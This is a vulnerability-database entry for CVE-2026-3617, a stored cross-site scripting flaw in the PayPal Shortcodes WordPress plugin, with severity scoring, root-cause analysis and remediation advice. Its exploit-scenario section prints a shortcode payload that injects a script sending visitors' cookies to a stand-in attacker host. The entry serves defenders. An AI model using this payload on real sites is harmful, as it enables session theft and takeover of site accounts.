Skip to main content

Paypal Shortcodes CVE-2026-3617

| EUVDEUVD-2026-14172 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-21 Wordfence GHSA-p79j-x7g4-4j32
6.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS:3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates a network-accessible vulnerability with low attack complexity, requiring low-privilege authentication, no user interaction, and scope change with limited confidentiality and integrity impact. This aligns with the realistic threat model: an authenticated attacker with Contributor permissions can inject XSS payloads. The absence of reported KEV status or confirmed active exploitation in the wild suggests this is not currently a mass-targeted vulnerability, though the ease of exploitation (trivial to craft malicious shortcodes) and low barrier to entry (Contributor access is common in multi-user WordPress installations) means real-world exploitation probability is moderate to high. The technical impact is significant for affected sites, as stored XSS can lead to session hijacking, credential theft, and malware distribution to all visitors. Organizations with single-admin WordPress sites face lower practical risk; those with editorial teams or guest contributors face elevated risk. This is a legitimate priority for patching, though not in the critical tier.

Exploit ScenarioDerived

A disgruntled employee with Contributor access to a WordPress blog crafts a malicious post containing the shortcode [paypal_shortcodes amount="10" name="Test\" onload=\"fetch('https://attacker.com/steal?c='+document.cookie)\"]. When site visitors (including administrators) view the published post, the unescaped attribute value renders directly into an HTML input element, triggering the embedded JavaScript and exfiltrating session cookies to an attacker-controlled server. The attacker then uses the stolen admin session cookie to elevate privileges and inject malware across the entire site.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 21, 2026

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the PayPal Shortcodes WordPress plugin affecting all versions up to and including 0.3. The plugin fails to properly sanitize and escape the 'amount' and 'name' shortcode attributes, allowing authenticated attackers with Contributor-level access or higher to inject malicious JavaScript that executes for all users viewing affected pages. With a CVSS score of 6.4 and network-based attack vector, this represents a moderate-severity threat to WordPress installations using this plugin, particularly those with multiple contributor accounts.

RemediationAI

Users should immediately update the PayPal Shortcodes plugin to the latest available version beyond 0.3, which should include patches applying esc_attr() escaping to the 'amount' and 'name' shortcode attributes at lines 105-106. Consult the official WordPress plugin repository and Wordfence threat advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/a9521ae8-e20e-49dd-a402-5521f8d2d98e) for the patched version number and update instructions. Until a patched version is available or deployed, administrators should: restrict Contributor-level permissions to trusted users only, audit existing posts and pages for suspicious shortcode content using the plugin repository audit trail, and consider disabling the plugin if not actively in use. For WordPress multisite installations, use the Network Admin to enforce plugin updates across all sites simultaneously. If the plugin is abandoned, consider replacing it with an actively maintained PayPal integration solution.

Affected VersionsENISA

Paypal Shortcodes * ≤0.3

Affected Packages

euvd paypal_shortcodes no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the swer_paypal_shortcode() function within the PayPal Shortcodes plugin (CPE: cpe:2.3:a:swergroup:paypal_shortcodes). The root cause is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerable code path begins at line 89 where shortcode attributes are extracted using WordPress's extract() and shortcode_atts() functions, which parse user-supplied shortcode parameters. These unsanitized values are then directly concatenated into HTML input element value attributes at lines 105-106 without applying WordPress's esc_attr() escaping function or any equivalent output encoding mechanism. This violation of secure coding practices for WordPress plugin development allows untrusted data to flow directly into the DOM, creating an injection point for arbitrary HTML and JavaScript.

Know when Paypal Shortcodes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Paypal Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'amount' and 'name' shortcode attributes in all versions up to, and including, 0.3. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The swer_paypal_shortcode() function extracts shortcode attributes using extract() and shortcode_atts() at line 89, then directly concatenates the $name and $amount values into HTML input element value attributes at lines 105-106 without applying esc_attr() or any other escaping function. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

Organizations using all should be aware of moderate risk from CVE-2026-3617, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy